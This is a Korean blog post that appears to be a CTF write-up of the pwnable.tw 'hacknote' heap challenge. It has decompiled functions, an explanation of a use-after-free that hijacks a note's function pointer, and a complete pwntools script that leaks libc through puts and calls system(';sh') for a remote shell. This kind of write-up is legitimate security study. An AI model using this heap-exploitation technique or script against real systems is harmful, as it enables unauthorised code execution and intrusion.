ghkdtlwns987
[pwnable.tw] hacknote 본문
요즘 시험공부 때문에, 글을 얼마 못썼다...
술먹고 새벽에 글을 쓰고 있는데, 과연... 글이 잘 써질지 모르겠다.
문제보니까 대충 힙 문제인거 같다.
main()
void __cdecl __noreturn main()
{
int v0; // eax
char buf; // [esp+8h] [ebp-10h]
unsigned int v2; // [esp+Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while ( 1 )
{
while ( 1 )
{
sub_8048956();
read(0, &buf, 4u);
v0 = atoi(&buf);
if ( v0 != 2 )
break;
sub_80487D4();
}
if ( v0 > 2 )
{
if ( v0 == 3 )
{
sub_80488A5();
}
else
{
if ( v0 == 4 )
exit(0);
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( v0 != 1 )
goto LABEL_13;
sub_8048646();
}
}
}
1. add_content() 함수 -> 다음을 보면 malloc() 을 2번 호출해 주는데,
unsigned int sub_8048646()
{
_DWORD *v0; // ebx
signed int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf; // [esp+14h] [ebp-14h]
unsigned int v5; // [esp+1Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
if ( dword_804A04C <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !ptr[i] )
{
ptr[i] = malloc(8u);
if ( !ptr[i] )
{
puts("Alloca Error");
exit(-1);
}
*(_DWORD *)ptr[i] = sub_804862B;
printf("Note size :");
read(0, &buf, 8u);
size = atoi(&buf);
v0 = ptr[i];
v0[1] = malloc(size);
if ( !*((_DWORD *)ptr[i] + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *((void **)ptr[i] + 1), size);
puts("Success !");
++dword_804A04C;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}
바로 sub_0x0804862B 부분이다.
여기서 중요하다고 하는 이유가, leak 을 해 줄 때, 0x0804862B 함수를 넣고, puts_got 의 주소를 넣어주면
puts() 함수의 실제주소가 출력된다. 이유는 코드가 (*(const char **)(a+ 4) 를 호출하기 때문이다.
2. delete_content() 함수
- delete_content() 함수를 보면 free() 를 두 번 해준다.
unsigned int sub_80487D4()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= dword_804A04C )
{
puts("Out of bound!");
_exit(0);
}
if ( ptr[v1] )
{
free(*((void **)ptr[v1] + 1));
free(ptr[v1]);
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}
바로 위의 코드이다. 만약 1을 입력했다면, heap(1), heap(2) 가 동시에 free() 된다고 보면 된다.
따라서 double_free() 가 안된다.
3. print_note() 함수 -> 여기서 if(ptr[v1]) 부분에서 포인터를 실행시키는 함수이다 보니,
EIP 를 컨트롤 할 수 있을 것이다.
unsigned int sub_80488A5()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= dword_804A04C )
{
puts("Out of bound!");
_exit(0);
}
if ( ptr[v1] )
(*(void (__cdecl **)(void *))ptr[v1])(ptr[v1]);
return __readgsdword(0x14u) ^ v3;
}
마지막 4번은 exit() 함수를 실행시키는 코드이다.
자! 그럼 gdb로 프로그램을 동적으로 분석해 보자.
위와 같이 bp 를 걸어주고 분석해보면 된다.
UAF 가 터지므로 이를 유의하면서 exploit 하도록 하자.
exploit 하는걸 간단히 정리해보자면
32byte 힙을 2개 선언하고,
0, 1 번째 인덱스의 값을 free() 하고,
add(8, p64(print_heap) + p64(puts_got)) => puts 실제 주소 출력으로 leak
그리고 delete(1) 로 1번째(0번째 아님) 곳에 값을 쓸 수 있는데,
p32(system_addr) + ';sh' 를 넣어 주어야 하는데,
왜 p32(system_addr) + ';sh' 를 넣어주나면
system() 함수를 p_note() 함수로 호출을 할 건데,
p_note() 함수에서는 (*(void(__cdecl **)(void *))ptr[v1])(ptr[v1]); 으로 값을 채워주기 때문이다.
(자세히 보면 add_note함수나 delete_note() 함수를 보더라도 malloc() 과 free() 를 2개씩 해 준다.)
+github에 올리려고 했는데, 너무 어렵다.. 그냥 코드를 올리도록 하겠다.
from pwn import*
import argparse
context(arch='i386',os='linux')
context.log_level = 'debug'
# -h : option2
context.terminal = ['tmux','splitw','-v']
parser = argparse.ArgumentParser()
parser.add_argument('-r','--remote',action = 'store_true',help='-r -> remote')
parser.add_argument('-p','--process',action = 'store_true',help='-p -> attach')
args = parser.parse_args()
host = 'chall.pwnable.tw'
port = 10102
elf = ELF('./hacknote')
exit_got = elf.got['exit']
exit_plt = elf.plt['exit']
print_heap = 0x0804862b
puts_got = elf.got['puts']
if args.remote:
r = remote(host,port)
libc = ELF('./libc_32.so.6')
elif args.process:
r = process('./hacknote')
libc = elf.libc
else:
breakpoint = {'my_bp':0x08048a43}
#r = process('./hacknote', env = {'LD_PRELOAD' : './libc_32.so.6'})
r = process('./hacknote')
libc = elf.libc
gdb.attach(r,'b*{}'.format(breakpoint['my_bp']))
def info_bp():
log.info('program_start : 0x080489ef')
log.info('Add_input : 0x08048a43')
log.info('size,content input : ;0x08048a77')
log.info('my_bp : 0x08048a43')
def add(size,content):
r.sendlineafter('choice :','1')
r.sendlineafter('size :',str(size))
r.sendlineafter('Content :',str(content))
log.info('add_pause')
pause()
def delete(index):
r.sendlineafter('choice :','2')
r.sendlineafter('Index :',str(index))
log.info('delete_pause')
pause()
def p_note(index):
r.sendlineafter('choice :','3')
r.sendlineafter('Index :',str(index))
log.info('print_pause')
pause()
def exit(index):
r.sendlineafter('choice :','4')
log.info('exit_pause')
pause()
def main():
add(32,'A'*8)
add(32,'B'*8)
delete(0)
delete(1)
add(8,p32(print_heap) + p32(puts_got))
p_note(0)
leak = u32(r.recvuntil('\xf7')[-4:])
log.info('leak = '+hex(leak))
pause()
libc_base = leak - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
log.info('libc_base = '+hex(libc_base))
log.info('system_addr = '+hex(system_addr))
delete(1)
add(9,p32(system_addr) + ';sh')
p_note(0)
r.interactive()
if __name__ == '__main__':
main()
'pwnable.tw' 카테고리의 다른 글
[pwnable.tw] applestore (0) | 2020.12.29 |
---|---|
[pwnable.tw] silver_bullet (0) | 2020.12.24 |
[pwnable.tw] dubblesort (0) | 2020.11.22 |
[pwnable.tw] 3x17 (0) | 2020.11.20 |
[pwnable.tw] calc (0) | 2020.11.18 |